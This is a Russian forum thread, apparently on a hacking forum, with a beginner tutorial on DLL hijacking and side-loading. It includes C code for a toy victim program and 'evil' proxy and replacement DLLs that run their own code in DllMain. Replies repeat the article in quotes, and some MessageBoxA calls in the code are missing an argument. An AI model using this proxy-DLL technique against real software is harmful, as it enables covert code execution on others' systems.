What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Сказка для самых маленьких про двух братьев - DLL Hijacking и DLL Side-Loading

shqnx

Light Weight
Депозит
$0
Автор: shqnx
Специально для style="text-align: center">Вступление

Всем привет, дорогие читатели! В данной статье мы поговорим про DLL Hijacking и DLL Side-Loading и рассмотрим эти техники атак на практическом примере. Статья в первую очередь посвящается новичкам, тут будет довольно простое и разжёванное объяснение всего и вся. Пора приступать.

Теоретическая часть

Начать я хотел бы с небольшого рассказа про DLL Hijacking.

И так, что же такое DLL Hijacking? DLL Hijacking - это техника атаки, при которой задача атакующего сводится к тому, чтобы разместить вредоносный DLL-файл в определённом месте, которое является более приоритетным для поиска DLL-файлов в Windows. Тем самым заставить выполнить вредоносный DLL-файл вместо легитимного. Сейчас всё объясню.

В Windows при запуске программы есть определённая очередь из тех мест, в которых будут искаться необходимые для этой программы DLL-файлы. Первый - самый приоритетный, последний - наименее приоритетный. Ничего сложного. Выглядит очередь примерно так:
1. Проверка. Не загружена ли на данный момент необходимая DLL в памяти?
2. Известные DLL (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
3. Каталог, в котором находится программа
4. C:\Windows\System32\
5. C:\Windows\System\
6. C:\Windows\
7. Рабочий каталог
8. Каталоги в переменной среды PATH

Теперь рассмотрим поэтапно, как именно это работает и в чём суть:
1. Определяется уязвимая программа, которая загружает DLL-файл из определенного места;
2. Атакующий размещает в более приоритетном из очереди для поиска месте вредоносный DLL-файл с тем же именем, что и легитимный;
3. Когда программа загружает DLL-файл, она загружает уже не легитимный файл, а вредоносный;
4. Успех.

Думаю с этим разобрались. Теперь перейдём к DLL Side-Loading.

И так, что же такое DLL Side-Loading? DLL Side-Loading - это техника атаки, при которой задача атакующего сводится к тому, чтобы заменить легитимный DLL-файл на вредоносный, что позволит ему выполнить произвольный код на целевой системе. На данном этапе уже должны отпасть вопросы, почему я обозвал эти две техники братьями. Цель везде одна - манипулировать загружаемыми программой DLL-файлами. Поэтому удобнее всего рассказать о них двух в одной статье.

Практическая часть

И так, настал черёд перейти к практической части. Хотелось бы сказать о том, что практическую часть я буду показывать именно для техники DLL Side-Loading. Основная причина заключается в том, что для вас главным будет научиться работать с программой-жертвой, находить необходимую информацию для создания своего вредоностного DLL-файла и непосредственно правильно создавать его. Для обоих методов этой информации уже будет достаточно на 99%. И я просто не вижу смысла дублировать, грубо говоря, один и тот же код два раза. Для начала я создам легитимный DLL-файл и подопытную программу, загружающую этот самый DLL-файл. Затем мы создадим вредоносный DLL-файл и проверим, что у нас получилось. Поехали:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

__declspec(dllexport) void Pause()
{
 system("pause");
}

__declspec(dllexport) int Sum(int a, int b)
{
 return a + b;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 return TRUE;
}

И так, это код DLL, которая впоследствии будет загружаться программой-жертвой. Он максимально прост. Но для нас главное не это, а то, что в нём присутствуют функции экспорта, как и во встречающихся в живой природе примерах. В данном случае это функция для нахождения суммы двух целых чисел и возвращающая результат, а также функция, которая останавливает выполнение программы с помощью системной команды pause. Нам нужно будет научиться находить функции экспорта и работать с ними в дальнейшем. Но об этом позднее. Сейчас создадим саму программу-жертву, которая будет загружать полученный только что DLL-файл:
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>

typedef int (*Sum)(int, int);

typedef void (*Pause)();


int main() {
 HINSTANCE hExampleLib = LoadLibrary(L"examplelib.dll");
 if (hExampleLib == NULL) {
  return EXIT_FAILURE;
 }

 Pause exPause = (Pause)GetProcAddress(hExampleLib, "Pause");
 if (exPause == NULL) {
  FreeLibrary(hExampleLib);
  return EXIT_FAILURE;
 }

 exPause();

 Sum exSum = (Sum)GetProcAddress(hExampleLib, "Sum");
 if (exSum == NULL) {
  FreeLibrary(hExampleLib);
  return EXIT_FAILURE;
 }

 int sumRes = exSum(5, 3);
 printf("Sum: %i\n", sumRes);

 FreeLibrary(hExampleLib);
 return EXIT_SUCCESS;
}

И так, вот и она. Я специально создаю свои экземпляры, чтобы в них была исключительно нужная информация касаемо данной техники и для новичков это всё легче усваивалось. В общем, что тут происходит? Происходит стандартная загрузка DLL (в нашем случае она называется examplelib.dll). Мы объявляем новые типы (Sum и Pause), которые являются указателями на соответствующие функции. В функции main происходит загрузка библиотеки в адресное пространство текущего процесса при помощи LoadLibrary из Windows API. В случае успешной загрузки, мы получаем хэндл нашей DLL. Иначе программа завершает выполнение с кодом ошибки. Далее получаем адрес нашей экспортированной функции Pause из загруженной DLL. Если не удаётся это сделать, вызывается FreeLibrary для выгрузки DLL из памяти и программа завершает выполнение с кодом ошибки. Вызываем функцию функцию Pause через указатель exPause, полученный на предыдущем шаге. Аналогичные действия проводим и для экспортированной функции Sum. Наконец, выводим результат суммы, выгружаем DLL из памяти и завершаем программу.

И так, перемещаем полученный examplelib.dll к исполняемому файлу нашей программы example.exe для тестов и смотрим, всё ли работает:


Поиск необходимых данных

Всё окей, мы получили рабочий экземпляр, с которым теперь будем работать. Представим, что мы ничего не знаем об example.exe. Каким образом мы можем это исправить? Правильно, с помощью соответствующих инструментов для анализа и мониторинга. А если быть точнее, то с помощью API Monitor и Process Monitor. Для начала открываем API Monitor (чувствительна к архитектуре, поэтому убедитесь, что вы открыли версию, соответствующую архитектуре программы-жертвы). Важно указать модули, для которых мы хотим отслеживать вызовы API. Поскольку в исходной программе мы используем Windows API, выберем Kernel32.dll:


Далее ставим галочку напротив System Services > Dynamic-Link Libraries, как показано на скриншоте:


Выбираем нашу программу-жертву example.exe в соседнем окне Monitored Processes:


И нажимаем OK:


И так, мы можем видеть вызовы API в нашей программе:


Здесь отображается всё, что нам необходимо, а именно: вызов функции LoadLibrary, которая загружает легитимную библиотеку examplelib.dll, вызов функции GetProcAddress для двух экспортируемых функций - Pause и Sum, а также для выгрузки DLL из памяти по завершению выполнения программы. Двигаемся дальше.

Лучший способ определить, есть ли у вас возможность выполнить DLL Side-Loading - сделать это при помощи программы Process Monitor. Открываем её. Для удобства нам нужно создать определённый фильтр. Для этого тыкаем на значок фильтра или нажимаем сочитание клавиш Ctrl+L:


В появившемся окне нам необходимо выставить следующие параметры и нажать Add:


И так, я еще раз запущу example.exe, дабы в Process Monitor появилась информация о запущенном процессе. Что мы конкретно должны найти для проверки, возможен ли сайдлоадинг - так это операции с DLL, для которых результатом является NAME NOT FOUND, вот пример:


Сейчас я перемещу examplelib.dll в другое место, например, в C:\Windows\ и еще раз запущу example.exe. В Process Monitor мы увидим следующее:


Это говорит нам о том, что у нас есть возможность выполнить данную атаку. На данном скриншоте также прослеживается информация, по которой виден порядок поиска нашей DLL. О чём я и расписывал в начале статьи про DLL Hijacking. И так, возможность для проведения атаки найдена. Давайте приступать к созданию "злой" DLL.

Создаём нашу "злую" DLL. Проксирование функций.

И так, сначала код, потом объяснение. Приступаем:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

#pragma comment(linker, "/export:Pause=_examplelib.Pause,@1")
#pragma comment(linker, "/export:Sum=_examplelib.Sum,@2")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  MessageBoxA(NULL, "Evil DllMain", , MB_OK);
 }

 return TRUE;
}

Для того, чтобы example.exe не крашнулась, необходимо либо реплицировать функционал исходных функций экспорта, либо проксировать их. В данном случае показано именно проксирование. Мы объявляем директивы линковщика, которые используются для управления экспортом функций из легитимной DLL, которая в данном случае должна называться _examplelib.dll. Также мы указываем порядковые номера функций в легитимном DLL при помощи @номер. Откуда взять порядковые номера функций? В этом нам поможет dumpbin. Открываем командную строку разработчика и пишем следующую команду:
dumpbin /EXPORTS C:\Windows\examplelib.dll
Нажмите, чтобы раскрыть...

Можем посмотреть на вывод данной команды и увидеть в ней порядковые номера функций:


И так, как это вообще работает? Мы экспортируем функции из легитимного DLL-файла, при этом получаем возможность добавить свой вредоносный функционал в DllMain. В данном случае это просто вывод месседж бокса, однако там может быть всё что угодно. Для проверки нам нужно поместить переименованный в _examplelib.dll легитимный DLL-файл, наш перемеименованный в examplelib.dll "злой" DLL-файл и запустить example.exe. Смотрим, что получилось:


Выполняется DllMain нашего поддельного examplelib.dll, появляется месседж бокс. После его закрытия example.exe продолжает свою работу как ни в чём не бывало и потом завершает своё выполнение:


Всё отработало корректно.

Создаём нашу "злую" DLL. Репликация функций.

Теперь давайте рассмотрим пример с репликацией функционала исходных функций экспорта. Пишем "злую" DLL:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

#pragma comment(linker, "/export:Sum=_examplelib.Sum,@2")

__declspec(dllexport) void Pause()
{
 MessageBoxA(NULL, "Evil Pause", , MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 return TRUE;
}

В данном случае мы реплицируем только функцию Pause, а функцию Sum мы по прежнему проксируем. Суть в том, чтобы заменить функционал легитимной функции Pause. Думаю тут опять понятно, что вместо месседж бокса, который я использую для примера, может быть всё, что душе угодно. Проверяем результат:


Как мы видим, сначала выполняется наша злобная репликация функции Pause. То есть выводится месседж бокс вместо системной паузы. Затем, как ни в чём не бывало, выполняется функция Sum и программа завершает своё выполнение:


Заключение

Всех благодарю за внимание. Я постарался сделать материал максимально полезным и максимально приятным в чтении для новичков. Желаю всем успехов!

Ученье — свет, а неученье — тьма.
 
Хорошее и краткое обьяснение, приятно, что автор упомянул хиджакинг через экспортируемые функции
 
shqnx сказал(а):
Автор: shqnx
Специально для style="text-align: center">Вступление

Всем привет, дорогие читатели! В данной статье мы поговорим про DLL Hijacking и DLL Side-Loading и рассмотрим эти техники атак на практическом примере. Статья в первую очередь посвящается новичкам, тут будет довольно простое и разжёванное объяснение всего и вся. Пора приступать.

Теоретическая часть

Начать я хотел бы с небольшого рассказа про DLL Hijacking.

И так, что же такое DLL Hijacking? DLL Hijacking - это техника атаки, при которой задача атакующего сводится к тому, чтобы разместить вредоносный DLL-файл в определённом месте, которое является более приоритетным для поиска DLL-файлов в Windows. Тем самым заставить выполнить вредоносный DLL-файл вместо легитимного. Сейчас всё объясню.

В Windows при запуске программы есть определённая очередь из тех мест, в которых будут искаться необходимые для этой программы DLL-файлы. Первый - самый приоритетный, последний - наименее приоритетный. Ничего сложного. Выглядит очередь примерно так:
1. Проверка. Не загружена ли на данный момент необходимая DLL в памяти?
2. Известные DLL (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
3. Каталог, в котором находится программа
4. C:\Windows\System32\
5. C:\Windows\System\
6. C:\Windows\
7. Рабочий каталог
8. Каталоги в переменной среды PATH

Теперь рассмотрим поэтапно, как именно это работает и в чём суть:
1. Определяется уязвимая программа, которая загружает DLL-файл из определенного места;
2. Атакующий размещает в более приоритетном из очереди для поиска месте вредоносный DLL-файл с тем же именем, что и легитимный;
3. Когда программа загружает DLL-файл, она загружает уже не легитимный файл, а вредоносный;
4. Успех.

Думаю с этим разобрались. Теперь перейдём к DLL Side-Loading.

И так, что же такое DLL Side-Loading? DLL Side-Loading - это техника атаки, при которой задача атакующего сводится к тому, чтобы заменить легитимный DLL-файл на вредоносный, что позволит ему выполнить произвольный код на целевой системе. На данном этапе уже должны отпасть вопросы, почему я обозвал эти две техники братьями. Цель везде одна - манипулировать загружаемыми программой DLL-файлами. Поэтому удобнее всего рассказать о них двух в одной статье.

Практическая часть

И так, настал черёд перейти к практической части. Хотелось бы сказать о том, что практическую часть я буду показывать именно для техники DLL Side-Loading. Основная причина заключается в том, что для вас главным будет научиться работать с программой-жертвой, находить необходимую информацию для создания своего вредоностного DLL-файла и непосредственно правильно создавать его. Для обоих методов этой информации уже будет достаточно на 99%. И я просто не вижу смысла дублировать, грубо говоря, один и тот же код два раза. Для начала я создам легитимный DLL-файл и подопытную программу, загружающую этот самый DLL-файл. Затем мы создадим вредоносный DLL-файл и проверим, что у нас получилось. Поехали:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

__declspec(dllexport) void Pause()
{
 system("pause");
}

__declspec(dllexport) int Sum(int a, int b)
{
 return a + b;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 return TRUE;
}

И так, это код DLL, которая впоследствии будет загружаться программой-жертвой. Он максимально прост. Но для нас главное не это, а то, что в нём присутствуют функции экспорта, как и во встречающихся в живой природе примерах. В данном случае это функция для нахождения суммы двух целых чисел и возвращающая результат, а также функция, которая останавливает выполнение программы с помощью системной команды pause. Нам нужно будет научиться находить функции экспорта и работать с ними в дальнейшем. Но об этом позднее. Сейчас создадим саму программу-жертву, которая будет загружать полученный только что DLL-файл:
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>

typedef int (*Sum)(int, int);

typedef void (*Pause)();


int main() {
 HINSTANCE hExampleLib = LoadLibrary(L"examplelib.dll");
 if (hExampleLib == NULL) {
  return EXIT_FAILURE;
 }

 Pause exPause = (Pause)GetProcAddress(hExampleLib, "Pause");
 if (exPause == NULL) {
  FreeLibrary(hExampleLib);
  return EXIT_FAILURE;
 }

 exPause();

 Sum exSum = (Sum)GetProcAddress(hExampleLib, "Sum");
 if (exSum == NULL) {
  FreeLibrary(hExampleLib);
  return EXIT_FAILURE;
 }

 int sumRes = exSum(5, 3);
 printf("Sum: %i\n", sumRes);

 FreeLibrary(hExampleLib);
 return EXIT_SUCCESS;
}

И так, вот и она. Я специально создаю свои экземпляры, чтобы в них была исключительно нужная информация касаемо данной техники и для новичков это всё легче усваивалось. В общем, что тут происходит? Происходит стандартная загрузка DLL (в нашем случае она называется examplelib.dll). Мы объявляем новые типы (Sum и Pause), которые являются указателями на соответствующие функции. В функции main происходит загрузка библиотеки в адресное пространство текущего процесса при помощи LoadLibrary из Windows API. В случае успешной загрузки, мы получаем хэндл нашей DLL. Иначе программа завершает выполнение с кодом ошибки. Далее получаем адрес нашей экспортированной функции Pause из загруженной DLL. Если не удаётся это сделать, вызывается FreeLibrary для выгрузки DLL из памяти и программа завершает выполнение с кодом ошибки. Вызываем функцию функцию Pause через указатель exPause, полученный на предыдущем шаге. Аналогичные действия проводим и для экспортированной функции Sum. Наконец, выводим результат суммы, выгружаем DLL из памяти и завершаем программу.

И так, перемещаем полученный examplelib.dll к исполняемому файлу нашей программы example.exe для тестов и смотрим, всё ли работает:
Посмотреть вложение 94538

Поиск необходимых данных

Всё окей, мы получили рабочий экземпляр, с которым теперь будем работать. Представим, что мы ничего не знаем об example.exe. Каким образом мы можем это исправить? Правильно, с помощью соответствующих инструментов для анализа и мониторинга. А если быть точнее, то с помощью API Monitor и Process Monitor. Для начала открываем API Monitor (чувствительна к архитектуре, поэтому убедитесь, что вы открыли версию, соответствующую архитектуре программы-жертвы). Важно указать модули, для которых мы хотим отслеживать вызовы API. Поскольку в исходной программе мы используем Windows API, выберем Kernel32.dll:
Посмотреть вложение 94539

Далее ставим галочку напротив System Services > Dynamic-Link Libraries, как показано на скриншоте:
Посмотреть вложение 94540

Выбираем нашу программу-жертву example.exe в соседнем окне Monitored Processes:
Посмотреть вложение 94541

И нажимаем OK:
Посмотреть вложение 94542

И так, мы можем видеть вызовы API в нашей программе:
Посмотреть вложение 94543

Здесь отображается всё, что нам необходимо, а именно: вызов функции LoadLibrary, которая загружает легитимную библиотеку examplelib.dll, вызов функции GetProcAddress для двух экспортируемых функций - Pause и Sum, а также для выгрузки DLL из памяти по завершению выполнения программы. Двигаемся дальше.

Лучший способ определить, есть ли у вас возможность выполнить DLL Side-Loading - сделать это при помощи программы Process Monitor. Открываем её. Для удобства нам нужно создать определённый фильтр. Для этого тыкаем на значок фильтра или нажимаем сочитание клавиш Ctrl+L:
Посмотреть вложение 94544

В появившемся окне нам необходимо выставить следующие параметры и нажать Add:
Посмотреть вложение 94545

И так, я еще раз запущу example.exe, дабы в Process Monitor появилась информация о запущенном процессе. Что мы конкретно должны найти для проверки, возможен ли сайдлоадинг - так это операции с DLL, для которых результатом является NAME NOT FOUND, вот пример:
Посмотреть вложение 94546

Сейчас я перемещу examplelib.dll в другое место, например, в C:\Windows\ и еще раз запущу example.exe. В Process Monitor мы увидим следующее:
Посмотреть вложение 94547

Это говорит нам о том, что у нас есть возможность выполнить данную атаку. На данном скриншоте также прослеживается информация, по которой виден порядок поиска нашей DLL. О чём я и расписывал в начале статьи про DLL Hijacking. И так, возможность для проведения атаки найдена. Давайте приступать к созданию "злой" DLL.

Создаём нашу "злую" DLL. Проксирование функций.

И так, сначала код, потом объяснение. Приступаем:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

#pragma comment(linker, "/export:Pause=_examplelib.Pause,@1")
#pragma comment(linker, "/export:Sum=_examplelib.Sum,@2")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  MessageBoxA(NULL, "Evil DllMain", , MB_OK);
 }

 return TRUE;
}

Для того, чтобы example.exe не крашнулась, необходимо либо реплицировать функционал исходных функций экспорта, либо проксировать их. В данном случае показано именно проксирование. Мы объявляем директивы линковщика, которые используются для управления экспортом функций из легитимной DLL, которая в данном случае должна называться _examplelib.dll. Также мы указываем порядковые номера функций в легитимном DLL при помощи @номер. Откуда взять порядковые номера функций? В этом нам поможет dumpbin. Открываем командную строку разработчика и пишем следующую команду:


Можем посмотреть на вывод данной команды и увидеть в ней порядковые номера функций:
Посмотреть вложение 94549

И так, как это вообще работает? Мы экспортируем функции из легитимного DLL-файла, при этом получаем возможность добавить свой вредоносный функционал в DllMain. В данном случае это просто вывод месседж бокса, однако там может быть всё что угодно. Для проверки нам нужно поместить переименованный в _examplelib.dll легитимный DLL-файл, наш перемеименованный в examplelib.dll "злой" DLL-файл и запустить example.exe. Смотрим, что получилось:
Посмотреть вложение 94550

Выполняется DllMain нашего поддельного examplelib.dll, появляется месседж бокс. После его закрытия example.exe продолжает свою работу как ни в чём не бывало и потом завершает своё выполнение:
Посмотреть вложение 94551

Всё отработало корректно.

Создаём нашу "злую" DLL. Репликация функций.

Теперь давайте рассмотрим пример с репликацией функционала исходных функций экспорта. Пишем "злую" DLL:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

#pragma comment(linker, "/export:Sum=_examplelib.Sum,@2")

__declspec(dllexport) void Pause()
{
 MessageBoxA(NULL, "Evil Pause", , MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 return TRUE;
}

В данном случае мы реплицируем только функцию Pause, а функцию Sum мы по прежнему проксируем. Суть в том, чтобы заменить функционал легитимной функции Pause. Думаю тут опять понятно, что вместо месседж бокса, который я использую для примера, может быть всё, что душе угодно. Проверяем результат:
Посмотреть вложение 94552

Как мы видим, сначала выполняется наша злобная репликация функции Pause. То есть выводится месседж бокс вместо системной паузы. Затем, как ни в чём не бывало, выполняется функция Sum и программа завершает своё выполнение:
Посмотреть вложение 94553

Заключение

Всех благодарю за внимание. Я постарался сделать материал максимально полезным и максимально приятным в чтении для новичков. Желаю всем успехов!

Ученье — свет, а неученье — тьма.
Нажмите, чтобы раскрыть...
Здравствуйте ! На сегодняшний день этот эксплойт работает ?
 
shqnx сказал(а):
Автор: shqnx
Специально для style="text-align: center">Вступление

Всем привет, дорогие читатели! В данной статье мы поговорим про DLL Hijacking и DLL Side-Loading и рассмотрим эти техники атак на практическом примере. Статья в первую очередь посвящается новичкам, тут будет довольно простое и разжёванное объяснение всего и вся. Пора приступать.

Теоретическая часть

Начать я хотел бы с небольшого рассказа про DLL Hijacking.

И так, что же такое DLL Hijacking? DLL Hijacking - это техника атаки, при которой задача атакующего сводится к тому, чтобы разместить вредоносный DLL-файл в определённом месте, которое является более приоритетным для поиска DLL-файлов в Windows. Тем самым заставить выполнить вредоносный DLL-файл вместо легитимного. Сейчас всё объясню.

В Windows при запуске программы есть определённая очередь из тех мест, в которых будут искаться необходимые для этой программы DLL-файлы. Первый - самый приоритетный, последний - наименее приоритетный. Ничего сложного. Выглядит очередь примерно так:
1. Проверка. Не загружена ли на данный момент необходимая DLL в памяти?
2. Известные DLL (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
3. Каталог, в котором находится программа
4. C:\Windows\System32\
5. C:\Windows\System\
6. C:\Windows\
7. Рабочий каталог
8. Каталоги в переменной среды PATH

Теперь рассмотрим поэтапно, как именно это работает и в чём суть:
1. Определяется уязвимая программа, которая загружает DLL-файл из определенного места;
2. Атакующий размещает в более приоритетном из очереди для поиска месте вредоносный DLL-файл с тем же именем, что и легитимный;
3. Когда программа загружает DLL-файл, она загружает уже не легитимный файл, а вредоносный;
4. Успех.

Думаю с этим разобрались. Теперь перейдём к DLL Side-Loading.

И так, что же такое DLL Side-Loading? DLL Side-Loading - это техника атаки, при которой задача атакующего сводится к тому, чтобы заменить легитимный DLL-файл на вредоносный, что позволит ему выполнить произвольный код на целевой системе. На данном этапе уже должны отпасть вопросы, почему я обозвал эти две техники братьями. Цель везде одна - манипулировать загружаемыми программой DLL-файлами. Поэтому удобнее всего рассказать о них двух в одной статье.

Практическая часть

И так, настал черёд перейти к практической части. Хотелось бы сказать о том, что практическую часть я буду показывать именно для техники DLL Side-Loading. Основная причина заключается в том, что для вас главным будет научиться работать с программой-жертвой, находить необходимую информацию для создания своего вредоностного DLL-файла и непосредственно правильно создавать его. Для обоих методов этой информации уже будет достаточно на 99%. И я просто не вижу смысла дублировать, грубо говоря, один и тот же код два раза. Для начала я создам легитимный DLL-файл и подопытную программу, загружающую этот самый DLL-файл. Затем мы создадим вредоносный DLL-файл и проверим, что у нас получилось. Поехали:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

__declspec(dllexport) void Pause()
{
 system("pause");
}

__declspec(dllexport) int Sum(int a, int b)
{
 return a + b;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 return TRUE;
}

И так, это код DLL, которая впоследствии будет загружаться программой-жертвой. Он максимально прост. Но для нас главное не это, а то, что в нём присутствуют функции экспорта, как и во встречающихся в живой природе примерах. В данном случае это функция для нахождения суммы двух целых чисел и возвращающая результат, а также функция, которая останавливает выполнение программы с помощью системной команды pause. Нам нужно будет научиться находить функции экспорта и работать с ними в дальнейшем. Но об этом позднее. Сейчас создадим саму программу-жертву, которая будет загружать полученный только что DLL-файл:
C: Скопировать в буфер обмена
Code:
#include <windows.h>
#include <stdio.h>

typedef int (*Sum)(int, int);

typedef void (*Pause)();


int main() {
 HINSTANCE hExampleLib = LoadLibrary(L"examplelib.dll");
 if (hExampleLib == NULL) {
  return EXIT_FAILURE;
 }

 Pause exPause = (Pause)GetProcAddress(hExampleLib, "Pause");
 if (exPause == NULL) {
  FreeLibrary(hExampleLib);
  return EXIT_FAILURE;
 }

 exPause();

 Sum exSum = (Sum)GetProcAddress(hExampleLib, "Sum");
 if (exSum == NULL) {
  FreeLibrary(hExampleLib);
  return EXIT_FAILURE;
 }

 int sumRes = exSum(5, 3);
 printf("Sum: %i\n", sumRes);

 FreeLibrary(hExampleLib);
 return EXIT_SUCCESS;
}

И так, вот и она. Я специально создаю свои экземпляры, чтобы в них была исключительно нужная информация касаемо данной техники и для новичков это всё легче усваивалось. В общем, что тут происходит? Происходит стандартная загрузка DLL (в нашем случае она называется examplelib.dll). Мы объявляем новые типы (Sum и Pause), которые являются указателями на соответствующие функции. В функции main происходит загрузка библиотеки в адресное пространство текущего процесса при помощи LoadLibrary из Windows API. В случае успешной загрузки, мы получаем хэндл нашей DLL. Иначе программа завершает выполнение с кодом ошибки. Далее получаем адрес нашей экспортированной функции Pause из загруженной DLL. Если не удаётся это сделать, вызывается FreeLibrary для выгрузки DLL из памяти и программа завершает выполнение с кодом ошибки. Вызываем функцию функцию Pause через указатель exPause, полученный на предыдущем шаге. Аналогичные действия проводим и для экспортированной функции Sum. Наконец, выводим результат суммы, выгружаем DLL из памяти и завершаем программу.

И так, перемещаем полученный examplelib.dll к исполняемому файлу нашей программы example.exe для тестов и смотрим, всё ли работает:
Посмотреть вложение 94538

Поиск необходимых данных

Всё окей, мы получили рабочий экземпляр, с которым теперь будем работать. Представим, что мы ничего не знаем об example.exe. Каким образом мы можем это исправить? Правильно, с помощью соответствующих инструментов для анализа и мониторинга. А если быть точнее, то с помощью API Monitor и Process Monitor. Для начала открываем API Monitor (чувствительна к архитектуре, поэтому убедитесь, что вы открыли версию, соответствующую архитектуре программы-жертвы). Важно указать модули, для которых мы хотим отслеживать вызовы API. Поскольку в исходной программе мы используем Windows API, выберем Kernel32.dll:
Посмотреть вложение 94539

Далее ставим галочку напротив System Services > Dynamic-Link Libraries, как показано на скриншоте:
Посмотреть вложение 94540

Выбираем нашу программу-жертву example.exe в соседнем окне Monitored Processes:
Посмотреть вложение 94541

И нажимаем OK:
Посмотреть вложение 94542

И так, мы можем видеть вызовы API в нашей программе:
Посмотреть вложение 94543

Здесь отображается всё, что нам необходимо, а именно: вызов функции LoadLibrary, которая загружает легитимную библиотеку examplelib.dll, вызов функции GetProcAddress для двух экспортируемых функций - Pause и Sum, а также для выгрузки DLL из памяти по завершению выполнения программы. Двигаемся дальше.

Лучший способ определить, есть ли у вас возможность выполнить DLL Side-Loading - сделать это при помощи программы Process Monitor. Открываем её. Для удобства нам нужно создать определённый фильтр. Для этого тыкаем на значок фильтра или нажимаем сочитание клавиш Ctrl+L:
Посмотреть вложение 94544

В появившемся окне нам необходимо выставить следующие параметры и нажать Add:
Посмотреть вложение 94545

И так, я еще раз запущу example.exe, дабы в Process Monitor появилась информация о запущенном процессе. Что мы конкретно должны найти для проверки, возможен ли сайдлоадинг - так это операции с DLL, для которых результатом является NAME NOT FOUND, вот пример:
Посмотреть вложение 94546

Сейчас я перемещу examplelib.dll в другое место, например, в C:\Windows\ и еще раз запущу example.exe. В Process Monitor мы увидим следующее:
Посмотреть вложение 94547

Это говорит нам о том, что у нас есть возможность выполнить данную атаку. На данном скриншоте также прослеживается информация, по которой виден порядок поиска нашей DLL. О чём я и расписывал в начале статьи про DLL Hijacking. И так, возможность для проведения атаки найдена. Давайте приступать к созданию "злой" DLL.

Создаём нашу "злую" DLL. Проксирование функций.

И так, сначала код, потом объяснение. Приступаем:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

#pragma comment(linker, "/export:Pause=_examplelib.Pause,@1")
#pragma comment(linker, "/export:Sum=_examplelib.Sum,@2")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  MessageBoxA(NULL, "Evil DllMain", , MB_OK);
 }

 return TRUE;
}

Для того, чтобы example.exe не крашнулась, необходимо либо реплицировать функционал исходных функций экспорта, либо проксировать их. В данном случае показано именно проксирование. Мы объявляем директивы линковщика, которые используются для управления экспортом функций из легитимной DLL, которая в данном случае должна называться _examplelib.dll. Также мы указываем порядковые номера функций в легитимном DLL при помощи @номер. Откуда взять порядковые номера функций? В этом нам поможет dumpbin. Открываем командную строку разработчика и пишем следующую команду:


Можем посмотреть на вывод данной команды и увидеть в ней порядковые номера функций:
Посмотреть вложение 94549

И так, как это вообще работает? Мы экспортируем функции из легитимного DLL-файла, при этом получаем возможность добавить свой вредоносный функционал в DllMain. В данном случае это просто вывод месседж бокса, однако там может быть всё что угодно. Для проверки нам нужно поместить переименованный в _examplelib.dll легитимный DLL-файл, наш перемеименованный в examplelib.dll "злой" DLL-файл и запустить example.exe. Смотрим, что получилось:
Посмотреть вложение 94550

Выполняется DllMain нашего поддельного examplelib.dll, появляется месседж бокс. После его закрытия example.exe продолжает свою работу как ни в чём не бывало и потом завершает своё выполнение:
Посмотреть вложение 94551

Всё отработало корректно.

Создаём нашу "злую" DLL. Репликация функций.

Теперь давайте рассмотрим пример с репликацией функционала исходных функций экспорта. Пишем "злую" DLL:
C: Скопировать в буфер обмена
Code:
#include <windows.h>

#pragma comment(linker, "/export:Sum=_examplelib.Sum,@2")

__declspec(dllexport) void Pause()
{
 MessageBoxA(NULL, "Evil Pause", , MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 return TRUE;
}

В данном случае мы реплицируем только функцию Pause, а функцию Sum мы по прежнему проксируем. Суть в том, чтобы заменить функционал легитимной функции Pause. Думаю тут опять понятно, что вместо месседж бокса, который я использую для примера, может быть всё, что душе угодно. Проверяем результат:
Посмотреть вложение 94552

Как мы видим, сначала выполняется наша злобная репликация функции Pause. То есть выводится месседж бокс вместо системной паузы. Затем, как ни в чём не бывало, выполняется функция Sum и программа завершает своё выполнение:
Посмотреть вложение 94553

Заключение

Всех благодарю за внимание. Я постарался сделать материал максимально полезным и максимально приятным в чтении для новичков. Желаю всем успехов!

Ученье — свет, а неученье — тьма.
Нажмите, чтобы раскрыть...
Отличная статья
 
Top